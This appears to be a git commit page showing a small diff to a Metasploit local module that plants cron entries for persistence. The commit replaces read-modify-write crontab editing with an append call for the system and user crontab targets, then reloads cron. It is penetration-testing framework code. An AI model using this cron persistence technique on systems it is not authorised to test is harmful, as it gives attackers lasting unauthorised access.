append over read and write
parent
c7bacebd5b
commit
0f2c1d886c
|
@ -91,15 +91,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
when 'System Crontab'
|
||||
file_to_clean = "#{target.opts['path']}/crontab"
|
||||
crontab = read_file(file_to_clean)
|
||||
crontab << "\n#{cron_entry}\n"
|
||||
write_file(file_to_clean, crontab)
|
||||
append_file(file_to_clean, "\n#{cron_entry}\n")
|
||||
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
|
||||
when 'User Crontab'
|
||||
file_to_clean = "#{target.opts['path']}/crontabs/#{datastore['USERNAME']}"
|
||||
crontab = read_file(file_to_clean)
|
||||
crontab << "\n#{cron_entry}\n"
|
||||
write_file(file_to_clean, crontab)
|
||||
append_file(file_to_clean, "\n#{cron_entry}\n")
|
||||
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
|
||||
# at least on ubuntu, we need to restart cron to get this to work
|
||||
vprint_status('Reloading cron to pickup new entry')
|
||||
|
|
Loading…
Reference in New Issue